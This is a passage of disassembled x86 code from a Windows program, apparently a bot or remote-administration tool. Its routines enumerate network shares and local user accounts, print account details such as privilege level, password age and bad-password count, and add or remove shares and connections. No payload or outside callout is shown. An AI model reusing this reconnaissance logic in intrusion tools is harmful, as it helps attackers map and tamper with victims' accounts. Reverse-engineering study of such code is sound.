		call	esi
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_418C2A	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C6B	proc near		; CODE XREF: sub_418A98+20p
					; sub_419E79+1BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_418C2A
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_418C2A
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_4CAE70
		pop	esi
		retn
sub_418C6B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418C8E	proc near		; CODE XREF: sub_401ACD+46B0p

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_418C2A
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 18h

loc_418CC7:				; CODE XREF: sub_418C8E+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_4CAEE8
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_418D2A
		cmp	ebx, 0EAh
		jz	short loc_418D2A
		push	ebx
		push	ebx
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset unk_4390C8
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 24h
		jmp	short loc_418D97
; ---------------------------------------------------------------------------

loc_418D2A:				; CODE XREF: sub_418C8E+5Dj
					; sub_418C8E+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_418D8E
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]

loc_418D38:				; CODE XREF: sub_418C8E+FCj
		push	dword ptr [esi+10h]
		call	dword_4CAE8C
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_418D4F
		mov	eax, offset aNo	; "No"

loc_418D4F:				; CODE XREF: sub_418C8E+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_418D38
		xor	esi, esi

loc_418D8E:				; CODE XREF: sub_418C8E+A2j
		push	[ebp+var_4]
		call	dword_4CB034

loc_418D97:				; CODE XREF: sub_418C8E+9Aj
		cmp	ebx, 0EAh
		jz	loc_418CC7
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_418C8E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418DAF	proc near		; CODE XREF: sub_401ACD:loc_4061EEp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_418E54
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_418DF1
		dec	eax
		jz	short loc_418DE6
		dec	eax
		jnz	short loc_418E0C
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_418EF6
		add	esp, 14h
		jmp	short loc_418E08
; ---------------------------------------------------------------------------

loc_418DE6:				; CODE XREF: sub_418DAF+1Dj
		push	ebx
		push	edi
		call	sub_418ED5
		pop	ecx
		pop	ecx
		jmp	short loc_418E08
; ---------------------------------------------------------------------------

loc_418DF1:				; CODE XREF: sub_418DAF+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_418E05
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_418E7B
		add	esp, 0Ch
		jmp	short loc_418E08
; ---------------------------------------------------------------------------

loc_418E05:				; CODE XREF: sub_418DAF+45j
		push	57h
		pop	eax

loc_418E08:				; CODE XREF: sub_418DAF+35j
					; sub_418DAF+40j ...
		cmp	eax, edi
		jnz	short loc_418E2C

loc_418E0C:				; CODE XREF: sub_418DAF+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DAE20
		push	off_4389D4[eax*4]
		push	offset unk_439180
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418E74
; ---------------------------------------------------------------------------

loc_418E2C:				; CODE XREF: sub_418DAF+5Bj
		push	eax
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DAE20
		push	off_4389D0[eax*4]
		push	offset unk_439150
		push	esi
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_418E74
; ---------------------------------------------------------------------------

loc_418E54:				; CODE XREF: sub_418DAF+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DAE20
		lea	eax, [eax+eax*2]
		push	off_4389D0[eax*4]
		push	offset unk_439128
		push	esi
		call	sub_41B886
		add	esp, 0Ch

loc_418E74:				; CODE XREF: sub_418DAF+7Bj
					; sub_418DAF+A3j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_418DAF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418E7B	proc near		; CODE XREF: sub_418DAF+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_418C2A
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_418C2A
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_418C2A
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_4CAE7C
		pop	edi
		leave
		retn
sub_418E7B	endp


; =============== S U B	R O U T	I N E =======================================



sub_418ED5	proc near		; CODE XREF: sub_418DAF+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_418C2A
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_418C2A
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_4CAE6C
		pop	esi
		retn
sub_418ED5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418EF6	proc near		; CODE XREF: sub_418DAF+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_418C2A
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_418C2A
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_4CAFFC
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_41929E
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_4192D9
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_41B886
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_419015
		dec	eax
		jz	short loc_41900E
		dec	eax
		jz	short loc_419007
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_41901A
; ---------------------------------------------------------------------------

loc_419007:				; CODE XREF: sub_418EF6+108j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_41901A
; ---------------------------------------------------------------------------

loc_41900E:				; CODE XREF: sub_418EF6+105j
		mov	eax, offset aUser_1 ; "User"
		jmp	short loc_41901A
; ---------------------------------------------------------------------------

loc_419015:				; CODE XREF: sub_418EF6+102j
		mov	eax, offset aGuest ; "Guest"

loc_41901A:				; CODE XREF: sub_418EF6+10Fj
					; sub_418EF6+116j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_41B886
		push	1
		push	esi
		lea	eax, [ebp+var_204]
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_4192CA
; ---------------------------------------------------------------------------

loc_41929E:				; CODE XREF: sub_418EF6+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_4391A0
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_409A72
		add	esp, 20h

loc_4192CA:				; CODE XREF: sub_418EF6+3A6j
		cmp	[ebp+var_4], 0
		jz	short loc_4192D9
		push	[ebp+var_4]
		call	dword_4CB034

loc_4192D9:				; CODE XREF: sub_418EF6+40j
					; sub_418EF6+3D8j
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_418EF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4192DF	proc near		; CODE XREF: sub_401ACD+473Bp

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_418C2A
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 18h

loc_41931E:				; CODE XREF: sub_4192DF+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_4CAF04
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_41937F
		cmp	eax, 0EAh
		jz	short loc_41937F
		push	eax
		push	eax
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset unk_439390
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 24h
		jmp	short loc_4193FA
; ---------------------------------------------------------------------------

loc_41937F:				; CODE XREF: sub_4192DF+62j
					; sub_4192DF+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_41940D
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_4193FA

loc_419391:				; CODE XREF: sub_4192DF+EDj
		cmp	edi, esi
		jz	short loc_4193D0
		push	dword ptr [edi]
		lea	eax, [ebp+var_218]
		push	offset aS_4	; "  %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_419391
		jmp	short loc_4193FA
; ---------------------------------------------------------------------------

loc_4193D0:				; CODE XREF: sub_4192DF+B4j
		lea	eax, [ebp+var_218]
		push	offset unk_43935C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 1Ch

loc_4193FA:				; CODE XREF: sub_4192DF+9Ej
					; sub_4192DF+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_41940D
		push	edi
		call	dword_4CB034
		xor	edi, edi
		mov	[ebp+var_4], edi

loc_41940D:				; CODE XREF: sub_4192DF+A5j
					; sub_4192DF+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_41931E
		cmp	edi, esi
		jz	short loc_419425
		push	edi
		call	dword_4CB034

loc_419425:				; CODE XREF: sub_4192DF+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_4192DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41945F	proc near		; CODE XREF: sub_418A98+41p
					; sub_418C8E+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_419511
		jz	loc_41950A
		cmp	eax, 7Bh
		ja	short loc_4194D6
		jz	short loc_4194CC
		cmp	eax, 5
		jz	short loc_4194C2
		cmp	eax, 8
		jz	short loc_4194B8
		cmp	eax, 32h
		jz	short loc_4194AE
		cmp	eax, 35h
		jz	short loc_4194A4
		cmp	eax, 57h
		jnz	loc_419560
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_419581
; ---------------------------------------------------------------------------

loc_4194A4:				; CODE XREF: sub_41945F+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_419581
; ---------------------------------------------------------------------------

loc_4194AE:				; CODE XREF: sub_41945F+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_419581
; ---------------------------------------------------------------------------

loc_4194B8:				; CODE XREF: sub_41945F+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_419581
; ---------------------------------------------------------------------------

loc_4194C2:				; CODE XREF: sub_41945F+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_419581
; ---------------------------------------------------------------------------

loc_4194CC:				; CODE XREF: sub_41945F+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_419581
; ---------------------------------------------------------------------------

loc_4194D6:				; CODE XREF: sub_41945F+1Aj
		sub	eax, 7Ch
		jz	short loc_419503
		sub	eax, 7C8h
		jz	short loc_4194FC
		dec	eax
		jz	short loc_4194F2
		dec	eax
		jnz	short loc_419560
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_419581
; ---------------------------------------------------------------------------

loc_4194F2:				; CODE XREF: sub_41945F+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_419581
; ---------------------------------------------------------------------------

loc_4194FC:				; CODE XREF: sub_41945F+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_419503:				; CODE XREF: sub_41945F+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_41950A:				; CODE XREF: sub_41945F+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_419511:				; CODE XREF: sub_41945F+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_41954A
		jz	short loc_419543
		sub	eax, 8ADh
		jz	short loc_419575
		dec	eax
		dec	eax
		jz	short loc_41953C
		dec	eax
		jz	short loc_419535
		dec	eax
		dec	eax
		jnz	short loc_419560
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_419535:				; CODE XREF: sub_41945F+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_41953C:				; CODE XREF: sub_41945F+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_419543:				; CODE XREF: sub_41945F+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_41954A:				; CODE XREF: sub_41945F+B9j
		sub	eax, 8CAh
		jz	short loc_41957C
		sub	eax, 17h
		jz	short loc_419575
		sub	eax, 25h
		jz	short loc_41956E
		sub	eax, 29h
		jz	short loc_419567

loc_419560:				; CODE XREF: sub_41945F+35j
					; sub_41945F+87j ...
		push	offset aAnUnknownErr_0 ; "An unknown error occurred."
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_419567:				; CODE XREF: sub_41945F+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_41956E:				; CODE XREF: sub_41945F+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_419575:				; CODE XREF: sub_41945F+C2j
					; sub_41945F+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_419581
; ---------------------------------------------------------------------------

loc_41957C:				; CODE XREF: sub_41945F+F0j
		push	offset aNetworkConnect ; "Network connection not found."

loc_419581:				; CODE XREF: sub_41945F+40j
					; sub_41945F+4Aj ...
		push	offset dword_4DABC0
		call	sub_41B886
		pop	ecx
		mov	eax, offset dword_4DABC0
		pop	ecx
		retn
sub_41945F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419593	proc near		; CODE XREF: sub_401ACD+4781p

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41D834
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		call	near ptr 26B0000h
		nop
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_41D834
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41D817
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	dword_4CAFB4
		test	eax, eax
		jnz	short loc_419623
		mov	esi, offset dword_4DA9BC
		push	offset unk_4396C4
		push	esi
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_41964C
; ---------------------------------------------------------------------------

loc_419623:				; CODE XREF: sub_419593+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_41945F
		pop	ecx
		mov	esi, offset dword_4DA9BC
		push	eax
		push	offset dword_439698
		push	esi
		call	sub_41B886
		add	esp, 14h

loc_41964C:				; CODE XREF: sub_419593+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419593	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419651	proc near		; CODE XREF: sub_416F1A+45p
					; sub_416F1A+166p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		nop
		call	near ptr 2700000h
		push	eax
		call	dword_4CAF88
		test	eax, eax
		jnz	short loc_419670
		leave
		retn
; ---------------------------------------------------------------------------

loc_419670:				; CODE XREF: sub_419651+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_4CAF60
		test	eax, eax
		jz	short loc_4196AE
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_419697
		or	[ebp+var_8], 2
		jmp	short loc_41969B
; ---------------------------------------------------------------------------

loc_419697:				; CODE XREF: sub_419651+3Ej
		and	[ebp+var_8], 0FFFFFFFDh

loc_41969B:				; CODE XREF: sub_419651+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_4CB010
		mov	esi, eax

loc_4196AE:				; CODE XREF: sub_419651+32j
		push	[ebp+var_4]
		nop
		call	near ptr 2650939h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419651	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4196BC	proc near		; CODE XREF: sub_401ACD+7915p
					; sub_4198EB+74p

var_554		= byte ptr -554h
var_354		= dword	ptr -354h
var_350		= byte ptr -350h
var_234		= byte ptr -234h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_128		= dword	ptr -128h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 554h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_4CAFC4, ebx
		lea	edi, [ebp+var_12C]
		mov	[ebp+var_130], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_350]
		mov	[ebp+var_354], ebx
		rep stosd
